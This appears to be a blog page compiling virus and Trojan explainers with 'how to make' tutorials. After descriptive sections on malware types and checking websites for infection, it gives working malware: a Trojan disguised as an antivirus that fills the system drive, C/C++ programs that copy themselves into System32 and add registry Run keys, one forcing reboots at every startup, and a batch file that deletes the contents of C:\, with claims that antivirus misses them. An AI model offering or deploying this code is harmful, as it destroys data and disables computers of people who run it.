What is Computer Viruses ?

What is a Computer Virus ?
A potentially damaging computer programme capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.
Types of viruses :-
The different types of viruses are as follows-
1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.
Examples of boot- sector viruses are Michelangelo and Stoned.
2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .
Some common file viruses are Sunday, Cascade.
3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.
Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.
4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.
5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it’s presense.
6) Macro Viruses :- A macro virus is a computer virus that “infects” a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

What is The Trojan Horse ?

What is a Trojan ?
“A Trojan Horse, or Trojan, is a term used to describe malware that appears, to the user, to perform a desirable function but, in fact, facilitates unauthorized access to the user’s computer system”. – Wikipedia
“A Trojan horse is an apparently useful program containing hidden functions that can exploit the privileges of the user [running the program], with a resulting security threat.”. – CERT Advisory
Types of Trojan :-
The different types of Trojan Horses are as follows-
1) Remote Access Trojans :- Abbreviated as RATs, a Remote Access Trojans are potentially the most damaging, designed to provide the attacker with complete control of the victim’s system.
2) Data Sending Trojans :- A type of a Trojan horse that is designed to provide the attacker with sensitive data such as passwords, credit card information, log files, e-mail address or IM contact lists. They could install a keylogger and send all recorded keystrokes back to the attacker.
3) Destructive Trojans :- Once this Trojan is installed on your computer, it will begin to systematically or completely randomly delete information from your computer. This can include files, folders, registry entries, and important system files, which likely to cause the failure of your operating system.
4) Proxy Trojans :- A type of Trojan horse designed to use the victim’s computer as a proxy server. This gives the attacker the opportunity to conduct illegal activities, or even to use your system to launch malicious attacks against other networks.
5) FTP Trojans :- A type of Trojan horse designed to open port 21 (FTP) and acts like an FTP server. Once installed, the attacker not only could download/upload files/programs to victim’s computer but also install futher malware on your computer.
6) Security Software Disabler Trojan :- A type of Trojan horse designed stop or kill security programs such as an antivirus program or firewall without the user knowing. This Trojan type is normally combined with another type of Trojan as a payload.
7) DoS Attack Trojans :- These trojans are used by the attacker to launch a DoS/DDoS attack against some website or network or any individual. In this case they are well known as “Zombies”.
How Trojan Works ?
Trojans typically consist of two parts, a client part and a server part. When a victim (unknowingly) runs a Trojan server on his machine, the attacker then uses the client part of that Trojan to connect to the server module and start using the Trojan. The protocol usually used for communications is TCP, but some Trojans’ functions use other protocols, such as UDP, as well. When a Trojan server runs on a victim’s computer, it (usually) tries to hide somewhere on the computer; it then starts listening for incoming connections from the attacker on one or more ports, and attempts to modify the registry and/or use some other auto-starting method.
It is necessary for the attacker to know the victim’s IP address to connect to his/her machine. Many Trojans include the ability to mail the victim’s IP and/or message the attacker via ICQ or IRC. This system is used when the victim has a dynamic IP, that is, every time he connects to the Internet, he is assigned a different IP (most dial-up users have this). ADSL users have static IPs, meaning that in this case, the infected IP is always known to the attacker; this makes it considerably easier for an attacker to connect to your machine.
Most Trojans use an auto-starting method that allows them to restart and grant an attacker access to your machine even when you shut down your computer.
How Trojan Horses Are Installed ?
Infection from Trojans is alarmingly simple. Following are very common ways to become infected that most computer users perform on a very regular basis.

• Software Downloads
• Websites containing executable content (ActiveX control)
• Email Attachments
• Application Exploits (Flaws in a web applications)
• Social Engineering Attacks

The Removal :-
Antivirus software is designed to detect and delete Trojan horses ideally preventing them from ever being installed.

How to Check Virus infection in my Website – Reported Attack site

You can check your website is free from virus or not by some simple steps. Here I am specifying some steps to check whether your website is infected with malicious code or not.
1. Check whether your Internet Security Suit block access to your website
I am using the home version of Avast in my computer. Avast blocks access to the infected website with following alert.

Like Avast, most of the Internet Security software block connection to an infected website. It will alert you that the website you are trying to connect is infected.
2. Try to Access a website via Google- Google block infected site
Google periodically checking all the websites whether it is malicious one or not. If one website is infected, Google will show you an alert “This website may harm your computer” with the Google Search result of the website.
3. Check whether Firefox block your website
Firefox and other browsers block connection to an infected website. If you try to access an infected website, you will get following message.

4. Check in Google Webmastertools to know malware infection
Google webmaster tools shows the details about the infection in your website. If your website is infected, right after login to Google webmaster account itself you can see the following alert.

You can find which pages are infected in your website by clicking More Details link. You can take this information to remove infection from your website. It is recommended to check Google webmastertools every time to check any possible malware infection in your website.
5. Online Website Scanners to check infection
There are some online tools to scan your webserver for possible malware infection. If you check in Google you can find a lot of information about it.

How to Make a Trojan Horse

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.
Now lets move to the working of our Trojan
The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.
The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll”
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download Space_Eater.rar the Trojan source code Space_Eater.rar. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?

Compilation:
For step-by-step compilation guide, refer my post How to compile C Programs .
Testing:
To test the Trojan,  just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%\system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

A c++ virus

#include windows.h
#include string.h
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char pathname[256];
HKEY hKey;
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, “\\System32\\viral.exe”);
CopyFile(pathname,windir,0);
unsigned char reg[10] = “infected”;
RegCreateKey(HKEY_CURRENT_USER,”Software\\retro”,&hKey);
RegSetValueEx(hKey,”virus”,0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
}
thare, ya happy ya frikin bums

A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.
#include
#include
#include
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
X:\Windows\System
(X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Malicious code to delete the content of the c folder (Sample Virus)

To delete the content of C folder on your computer simply type the following code in a note pad and save as .bat format. If some one double click the file it will automatically delete all the contents on the C:\ folder.
The code is:
@Echo off
Del C:\ *.* |y
I recomend you to never try the code on your computer.